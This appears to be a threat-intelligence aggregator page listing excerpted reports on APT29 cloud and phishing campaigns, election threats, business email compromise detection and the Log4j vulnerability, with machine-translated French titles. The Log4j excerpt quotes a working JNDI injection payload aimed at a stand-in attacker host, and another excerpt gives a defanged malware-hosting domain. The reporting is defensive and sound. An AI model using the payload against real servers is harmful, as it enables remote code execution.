What's new arround internet

Last one

Src Date (GMT) Titre Description Tags Stories Notes
Mandiant.webp 2024-04-25 10:00:00 Pole Voûte: cyber-menaces aux élections mondiales
Poll Vaulting: Cyber Threats to Global Elections
(lien direct)
Written by: Kelli Vanderlee, Jamie Collier
  Executive Summary The election cybersecurity landscape globally is characterized by a diversity of targets, tactics, and threats. Elections attract threat activity from a variety of threat actors including: state-sponsored actors, cyber criminals, hacktivists, insiders, and information operations as-a-service entities. Mandiant assesses with high confidence that state-sponsored actors pose the most serious cybersecurity risk to elections. Operations targeting election-related infrastructure can combine cyber intrusion activity, disruptive and destructive capabilities, and information operations, which include elements of public-facing advertisement and amplification of threat activity claims. Successful targeting does not automatically translate to high impact. Many threat actors have struggled to influence or achieve significant effects, despite their best efforts.  When we look across the globe we find that the attack surface of an election involves a wide variety of entities beyond voting machines and voter registries. In fact, our observations of past cycles indicate that cyber operations target the major players involved in campaigning, political parties, news and social media more frequently than actual election infrastructure.   Securing elections requires a comprehensive understanding of many types of threats and tactics, from distributed denial of service (DDoS) to data theft to deepfakes, that are likely to impact elections in 2024. It is vital to understand the variety of relevant threat vectors and how they relate, and to ensure mitigation strategies are in place to address the full scope of potential activity.  Election organizations should consider steps to harden infrastructure against common attacks, and utilize account security tools such as Google\'s Advanced Protection Program to protect high-risk accounts. Introduction  The 2024 global election cybersecurity landscape is characterized by a diversity of targets, tactics, and threats. An expansive ecosystem of systems, administrators, campaign infrastructure, and public communications venues must be secured against a diverse array of operators and methods. Any election cybersecurity strategy should begin with a survey of the threat landscape to build a more proactive and tailored security posture.  The cybersecurity community must keep pace as more than two billion voters are expected to head to the polls in 2024. With elections in more than an estimated 50 countries, there is an opportunity to dynamically track how threats to democracy evolve. Understanding how threats are targeting one country will enable us to better anticipate and prepare for upcoming elections globally. At the same time, we must also appreciate the unique context of different countries. Election threats to South Africa, India, and the United States will inevitably differ in some regard. In either case, there is an opportunity for us to prepare with the advantage of intelligence. 
Ransomware Malware Hack Tool Vulnerability Threat Legislation Cloud Technical APT 40 APT 29 APT 28 APT 43 APT 31 APT 42 ★★★
ProofPoint.webp 2024-04-12 06:00:03 Arrêt de cybersécurité du mois: vaincre les attaques de création d'applications malveillantes
Cybersecurity Stop of the Month: Defeating Malicious Application Creation Attacks
(lien direct)
This blog post is part of a monthly series, Cybersecurity Stop of the Month, which explores the ever-evolving tactics of today\'s cybercriminals. It focuses on the critical first three steps in the attack chain in the context of email threats. The goal of this series is to help you understand how to fortify your defenses to protect people and defend data against emerging threats in today\'s dynamic threat landscape.    The critical first three steps of the attack chain-reconnaissance, initial compromise and persistence.  So far in this series, we have examined these types of attacks:   Supplier compromise    EvilProxy     SocGholish     eSignature phishing    QR code phishing    Telephone-oriented attack delivery (TOAD)      Payroll diversion    MFA manipulation     Supply chain compromise  Multilayered malicious QR code attack In this post, we examine an emerging threat-the use of malicious cloud applications created within compromised cloud tenants following account takeover. We refer to it as MACT, for short.   Background  Cloud account takeover (ATO) attacks are a well-known risk. Research by Proofpoint found that last year more than 96% of businesses were actively targeted by these attacks and about 60% had at least one incident. Financial damages reached an all-time high.  These findings are unsettling. But there is more for businesses to worry about. Cybercriminals and state-sponsored entities are rapidly adopting advanced post-ATO techniques. And they have embraced the use of malicious and abused OAuth apps.  In January 2024, Microsoft revealed that a nation-state attacker had compromised its cloud environments and stolen valuable data. This attack was attributed to TA421 (aka Midnight Blizzard and APT29), which are threat groups that have been attributed to Russia\'s Foreign Intelligence Service (SVR). Attackers exploited existing OAuth apps and created new ones within hijacked cloud tenants. After the incident, CISA issued a new advisory for businesses that rely on cloud infrastructures.   Proofpoint threat researchers observed attackers pivoting to the use of OAuth apps from compromised-and often verified-cloud tenants. Threat actors take advantage of the trust that\'s associated with verified or recognized identities to spread cloud malware threats as well as establish persistent access to sensitive resources.  The scenario  Proofpoint monitors a malicious campaign named MACT Campaign 1445. It combines a known tactic used by cloud ATO attackers with new tactics, techniques and procedures. So far, it has affected dozens of businesses and users. In this campaign, attackers use hijacked user accounts to create malicious internal apps. In tandem, they also conduct reconnaissance, exfiltrate data and launch additional attacks.  Attackers use a unique anomalous URL for the malicious OAuth apps\' reply URL-a local loopback with port 7823. This port is used for TCP traffic. It is also associated with a known Windows Remote Access Trojan (RAT).  Recently, Proofpoint researchers found four accounts at a large company in the hospitality industry compromised by attackers. In a matter of days, attackers used these accounts to create four distinct malicious OAuth apps.  The threat: How did the attack happen?  Here is a closer look at how the attack unfolded.   Initial access vectors. Attackers used a reverse proxy toolkit to target cloud user accounts. They sent individualized phishing lures to these users, which enabled them to steal their credentials as well as multifactor authentication (MFA) tokens.  A shared PDF file with an embedded phishing URL that attackers used to steal users\' credentials.  Unauthorized access (cloud account takeover). Once attackers had stolen users\' credentials, they established unauthorized access to the four targeted accounts. They logged in to several native Microsoft 365 sign-in apps, including “Azure Portal” and “Office Home.”  Cloud malware (post-access OAuth app creat Spam Malware Tool Threat Cloud APT 29 ★★★
ProofPoint.webp 2024-04-11 13:27:54 Revisiter MACT: Applications malveillantes dans des locataires cloud crédibles
Revisiting MACT: Malicious Applications in Credible Cloud Tenants
(lien direct)
For years, the Proofpoint Cloud Research team has been particularly focused on the constantly changing landscape of cloud malware threats. While precise future predictions remain elusive, a retrospective examination of 2023 enabled us to discern significant shifts and trends in threat actors\' behaviors, thereby informing our projections for the developments expected in 2024.  There is no doubt that one of the major, and most concerning, trends observed in 2023 was the increased adoption of malicious and abused OAuth applications by cybercriminals and state-sponsored actors. In January, Microsoft announced they, among other organizations, were targeted by a sophisticated nation-state attack. It seems that the significant impact of this attack, which was attributed to TA421 (AKA Midnight Blizzard and APT29), largely stemmed from the strategic exploitation of pre-existing OAuth applications, coupled with the creation of new malicious applications within compromised environments. Adding to a long list of data breaches, this incident emphasizes the inherent potential risk that users and organizations face when using inadequately protected cloud environments.  Expanding on early insights shared in our 2021 blog, where we first explored the emerging phenomenon of application creation attacks and armed with extensive recent discoveries, we delve into the latest developments concerning this threat in our 2024 update.  In this blog, we will: Define key fundamental terms pertinent to the realm of cloud malware and OAuth threats. Examine some of the current tactics, techniques, and procedures (TTPs) employed by threat actors as part of their account-takeover (ATO) kill chain. Provide specific IOCs related to recently detected threats and campaigns. Highlight effective strategies and solutions to help protect organizations and users against cloud malware threats. Basic terminology OAuth (Open Authorization) 2.0. OAuth is an open standard protocol that enables third-party applications to access a user\'s data without exposing credentials. It is widely used to facilitate secure authentication and authorization processes. Line-of-business (LOB) applications. LOB apps (also known as second-party apps) typically refer to applications created by a user within their cloud environment in order to support a specific purpose for the organization. Cloud malware. A term usually referring to malicious applications created, utilized and proliferated by threat actors. Malicious apps can be leveraged for various purposes, such as: mailbox access, file access, data exfiltration, internal reconnaissance, and maintaining persistent access to specific resources. MACT (Malicious Applications Created in Compromised Credible Tenants). A common technique wherein threat actors create new applications within hijacked environments, exploiting unauthorized access to compromised accounts to initiate additional attacks and establish a persistent foothold within impacted cloud tenants. Apphish. A term denoting the fusion of cloud apps-based malware with phishing tactics, mainly by utilizing OAuth 2.0 infrastructure to implement open redirection attacks. Targeted users could be taken to a designated phishing webpage upon clicking an app\'s consent link. Alternatively, redirection to a malicious webpage could follow authorizing or declining an application\'s consent request. Abused OAuth applications. Benign apps that are authorized or used by attackers, usually following a successful account takeover, to perform illegitimate activities. What we are seeing Already in 2020, we witnessed a rise in malicious OAuth applications targeting cloud users, with bad actors utilizing increasingly sophisticated methods such as application impersonation and diverse lures. In October 2022, Proofpoint researchers demonstrated how different threat actors capitalized on the global relevance of the COVID-19 pandemic to spread malware and phishing threats. Proofpoint has also seen this trend include the propagation of malicious OAuth applications seamlessly integ Malware Threat Prediction Cloud APT 29 ★★★
Mandiant.webp 2024-03-22 00:00:00 APT29 Uses WINELOADER to Target German Political Parties (lien direct) Written by: Luke Jenkins, Dan Black
  Executive Summary In late February, APT29 used a new backdoor variant publicly tracked as WINELOADER to target German political parties with a CDU-themed lure.   This is the first time we have seen this APT29 cluster target political parties, indicating a possible area of emerging operational focus beyond the typical targeting of diplomatic missions. Based on the SVR\'s responsibility to collect political intelligence and this APT29 cluster\'s historical targeting patterns, we judge this activity to present a broad threat to European and other Western political parties from across the political spectrum. Please see the Technical Annex for technical details and MITRE ATT&CK techniques, (T1543.003, T1012, T1082, T1134, T1057, T1007, T1027, T1070.004, T1055.003 and T1083) Threat Detail In late February 2024, Mandiant identified APT29 - a Russian Federation backed threat group linked by multiple governments to Russia\'s Foreign Intelligence Service (SVR) - conducting a phishing campaign targeting German political parties. Consistent with APT29 operations extending back to 2021, this operation leveraged APT29\'s mainstay first-stage payload ROOTSAW (aka EnvyScout) to deliver a new backdoor variant publicly tracked as WINELOADER.  Notably, this activity represents a departure from this APT29 initial access cluster\'s typical remit of targeting governments, foreign embassies, and other diplomatic missions, and is the first time Mandiant has seen an operational interest in political parties from this APT29 subcluster. Additionally, while APT29 has previously used lure documents bearing the logo of German government organizations, this is the first instance where we have seen the group use German-language lure content - a possible artifact of the targeting differences (i.e. domestic vs. foreign) between the two operations.  Phishing emails were sent to victims purporting to be an invite to a dinner reception on 01 March bearing a logo from the Christian Democratic Union (CDU), a major political party in Germany (see Figure 1).  The German-language lure document contains a phishing link directing victims to a malicious ZIP file containing a ROOTSAW dropper hosted on an actor-controlled compromised website “https://waterforvoiceless[.]org/invite.php”.  ROOTSAW delivered a second-stage CDU-themed lure document and a next stage WINELOADER payload retrieved from “waterforvoiceless[.]org/util.php”.  WINELOADER was first observed in operational use in late January 2024 in an operation targeting likely diplomatic entities in Czechia, Germany, India, Italy, Latvia, and Peru.  The backdoor contains several features and functions that overlap with several known APT29 malware families including BURNTBATTER, MUSKYBEAT and BEATDROP, indicating they are likely created by a common developer (see Technical Annex for additional details).
Malware Threat Cloud Technical APT 29 ★★★
TechRepublic.webp 2024-03-01 20:15:10 Les problèmes NCSC de UK \\ ont avertissement en tant que pirates SVR ciblent les services cloud
UK\\'s NCSC Issues Warning as SVR Hackers Target Cloud Services
(lien direct)
Cyber Espionage Group APT29 adapte ses tactiques aux environnements cloud.Voici ce que vous devez savoir.
Cyber espionage group APT29 is adapting its tactics for cloud environments. Here\'s what you should know.
Cloud APT 29 ★★
The_Hackers_News.webp 2024-02-27 16:04:00 Cinq agences Eyes exposent des tactiques d'évolution des nuages en évolution de l'APT29 \\
Five Eyes Agencies Expose APT29\\'s Evolving Cloud Attack Tactics
(lien direct)
La cybersécurité et les agences de renseignement des cinq yeux des Nations ont publié un conseil conjoint détaillant les tactiques évolutives de l'acteur de menace parrainé par l'État russe connu sous le nom de & NBSP; APT29. La tenue de piratage, également connue sous le nom de Bluebravo, Ursa masqué, Cozy Bear, Midnight Blizzard (anciennement Nobelium) et les Dukes, est évaluée pour être affiliée au Foreign Intelligence Service (SVR) de la
Cybersecurity and intelligence agencies from the Five Eyes nations have released a joint advisory detailing the evolving tactics of the Russian state-sponsored threat actor known as APT29. The hacking outfit, also known as BlueBravo, Cloaked Ursa, Cozy Bear, Midnight Blizzard (formerly Nobelium), and The Dukes, is assessed to be affiliated with the Foreign Intelligence Service (SVR) of the
Threat Cloud APT 29 ★★★
News.webp 2024-02-27 01:00:06 L'ours confortable de la Russie plonge dans des environnements cloud avec un nouveau sac de trucs
Russia\\'s Cozy Bear dives into cloud environments with a new bag of tricks
(lien direct)
Les espions du Kremlin \\ ont essayé le TTPS sur Microsoft, et maintenant ils se rendent aux courses Russia \'s Cozy Bear, l'équipage derrière la chaîne d'approvisionnement de SolarwindsAttack, a élargi ses objectifs et a évolué ses techniques pour pénétrer dans les organisations \\ 'Cloud Environments, selon les Five Eyes Governments.…
Kremlin\'s spies tried out the TTPs on Microsoft, and now they\'re off to the races Russia\'s notorious Cozy Bear, the crew behind the SolarWinds supply chain attack, has expanded its targets and evolved its techniques to break into organizations\' cloud environments, according to the Five Eyes governments.…
Cloud APT 29 ★★★
InfoSecurityMag.webp 2024-02-26 17:15:00 CISA Issues Alert sur les tactiques d'infiltration des nuages d'APT29 \\
CISA Issues Alert on APT29\\'s Cloud Infiltration Tactics
(lien direct)
Connu sous le nom de Midnight Blizzard, les dukes ou l'ours confortable, le groupe a été identifié comme une entité russe opérant probablement sous le SVR
Known as Midnight Blizzard, the Dukes or Cozy Bear, the group has been identified as a Russian entity likely operating under the SVR
Cloud APT 29 ★★
Netskope.webp 2023-08-04 16:48:11 Mémo sur les menaces du cloud: les acteurs de la menace parrainés par l'État russe exploitent de plus en plus les services cloud légitimes
Cloud Threats Memo: Russian State-sponsored Threat Actors Increasingly Exploiting Legitimate Cloud Services
(lien direct)
> Les acteurs de la menace parrainés par l'État continuent d'exploiter les services cloud légitimes, et en particulier un groupe, l'APT29 russe (également connu sous le nom de confortable ours, Ursa masqué, Bluebravo, Midnight Blizzard et anciennement Nobelium), semble particulièrement actif.Entre mars et mai 2023, les chercheurs en sécurité du groupe INSIKT de Future \\ ont déniché une campagne de cyber-espionnage par la même [& # 8230;]
>State-sponsored threat actors continue to exploit legitimate cloud services, and especially one group, the Russian APT29 (also known as Cozy Bear, Cloaked Ursa, BlueBravo, Midnight Blizzard, and formerly Nobelium), seems to be particularly active. Between March and May 2023, security researchers at Recorded Future\'s Insikt Group have unearthed a cyber espionage campaign by the same […]
Threat Cloud APT 29 APT 29 ★★
2022-10-18 08:41:18 The benefits of taking an intent-based approach to detecting Business Email Compromise (lien direct) By Abhishek Singh.BEC is a multi-stage attack. Adversaries first identify targets, then they establish rapport with the victim before exploiting them for whatever their end goal is. In the case of BEC, a threat actor can impersonate any employee in the organization to trick targets.  A policy that checks for authorized email addresses of the sender can prevent BEC attacks. However, scaling the approach for every employee in a large organization is a challenge.  Building an executive profile based on email analysis using a machine learning model and scanning emails against that profile will detect BEC. Data collection for building and training machine learning algorithms can take time, though, opening a window of opportunity for threat actors to exploit.  Detection of exploitation techniques such as lookalike domains and any differences in the email addresses in the "From" and "Reply-to" fields can also detect BEC messages. However, the final verdict cannot account for the threat actor's intent.  The intent-based approach detects BEC and then classifies it into the type of scam. It catches BEC messages, irrespective of whether a threat actor is impersonating a C-level executive or any employee in an organization. Classification based on the type of scam can help identify which segment of an organization was targeted and which employees were being impersonated by the threat actor. The additional information will further assist in better designing preventive features to stop BEC. Business email compromise (BEC) is one of the most financially damaging online crimes. As per the internet crime 221 report, the total loss in 2021 due to BEC is around 2.4 billion dollars. Since 2013, BEC has resulted in a 43 billion dollars loss. The report defines BEC as a scam targeting businesses (not individuals) working with foreign suppliers and companies regularly performing wire transfer payments. Fraudsters carry out these sophisticated scams to conduct the unauthorized transfer of funds. This introduces the challenge of how to detect and block these campaigns as they continue to compromise organizations successfully. There are a variety of approaches to identifying BEC email messages, such as using policy to allow emails from authorized email addresses, detecting exploitation techniques used by threat actors, building profiles by analysis of emails, and validating against the profile to detect BEC. These approaches have a variety of limitations or shortcomings. Cisco Talos is taking a different approach and using an intent-based model to identify and block BEC messages. Before we get too deep into the intent-based model, take a deeper look at the commonly used approaches to block BEC from the simplistic through machine learning (ML) approaches. Policy-based detection The first place to start is with policy-based detection as it is one of the most common and simplistic approaches to blocking BEC campaigns. Let's start by looking at an example of a BEC email.  Threat Medical Cloud Yahoo Uber APT 38 APT 37 APT 29 APT 19 APT 15 APT 10
Anomali.webp 2022-08-30 15:01:00 Anomali Cyber Watch: First Real-Life Video-Spoofing Attack, MagicWeb Backdoors via Non-Standard Key Identifier, LockBit Ransomware Blames Victim for DDoSing Back, and More (lien direct) The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: Authentication, DDoS, Fingerprinting, Iran, North Korea, Ransomware, and Russia. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity. Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence LastPass Hackers Stole Source Code (published: August 26, 2022) In August 2022, an unidentified threat actor gained access to portions of the password management giant LastPass development environment. LastPass informed that it happened through a single compromised developer account and the attacker took portions of source code and some proprietary LastPass technical information. The company claims that this incident did not affect customer data or encrypted password vaults. Analyst Comment: This incident doesn’t seem to have an immediate impact on LastPass users. Still, organizations relying on LastPass should raise the concern in their risk assessment since “white-box hacking” (when source code of the attacking system is known) is easier for threat actors. Organizations providing public-facing software should take maximum measures to block threat actors from their development environment and establish robust and transparent security protocols and practices with all third parties involved in their code development. Tags: LastPass, Password manager, Data breach, Source code Mercury Leveraging Log4j 2 Vulnerabilities in Unpatched Systems to Target Israeli (published: August 25, 2022) Starting in July 2022, a new campaign by Iran-sponsored group Static Kitten (Mercury, MuddyWater) was detected targeting Israeli organizations. Microsoft researchers detected that this campaign was leveraging exploitation of Log4j 2 vulnerabilities (CVE-2021-45046 and CVE-2021-44228) in SysAid applications (IT management tools). For persistence Static Kitten was dropping webshells, creating local administrator accounts, stealing credentials, and adding their tools in the startup folders and autostart extensibility point (ASEP) registry keys. Overall the group was heavily using various open-source and built-in operating system tools: eHorus remote management software, Ligolo reverse tunneling tool, Mimikatz credential theft tool, PowerShell programs, RemCom remote service, Venom proxy tool, and Windows Management Instrumentation (WMI). Analyst Comment: Network defenders should monitor for alerts related to web shell threats, suspicious RDP sessions, ASEP registry anomaly, and suspicious account creation. Similarly, SysAid users can monitor for webshells and abnormal processes related to SysAisServer instance. Even though Static Kitten was observed leveraging the Log4Shell vulnerabilities in the past (targeting VMware apps), most of their attacks still start with spearphishing, often from a compromised email account. MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] OS Credential Dumping - T1003 | [MITRE ATT&CK] Phishing - T1566 | Ransomware Hack Tool Vulnerability Threat Guideline Cloud APT 37 APT 29 LastPass
Anomali.webp 2021-12-15 16:00:00 Anomali Cyber Watch: Apache Log4j Zero-Day Exploit, Google Fighting Glupteba Botnet, Vixen Panda Targets Latin America and Europe, and More (lien direct) The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: Apache, Botnets, China, Espionage, Java, Russia, USB, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity. Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit (published: December 10, 2021) A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code. Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable. MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Exploitation for Client Execution - T1203 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Remote Services - T1021 | [MITRE ATT&CK] OS Credential Dumping - T1003 | [MITRE ATT&CK] Resource Hijacking - T1496 | [MITRE ATT&CK] Network Denial of Service - T1498 Tags: Log4j, CVE-2021-44228, Log4j2, Log4Shell, Apache, Zero-day, Java, Jndi, Class file Over a Dozen Malicious NPM Packages Caught Hijacking Discord Servers (published: December 8, 2021) Researchers from the DevOps firm JFrog has found at least 17 malicious packages on the open source npm Registry for JavaScript. The names of the packages are: prerequests-xcode (version 1.0.4), discord-selfbot-v14 (version 12.0.3), discord-lofy (version 11.5.1), discordsystem (version 11.5.1), discord-vilao (version 1.0.0), fix-error (version 1 Malware Tool Vulnerability Threat Cloud APT 37 APT 29 APT 15 APT 15 APT 25
Last update at: 2024-05-21 05:07:59
See our sources.
My email:

To see everything: Our RSS (filtrered) Twitter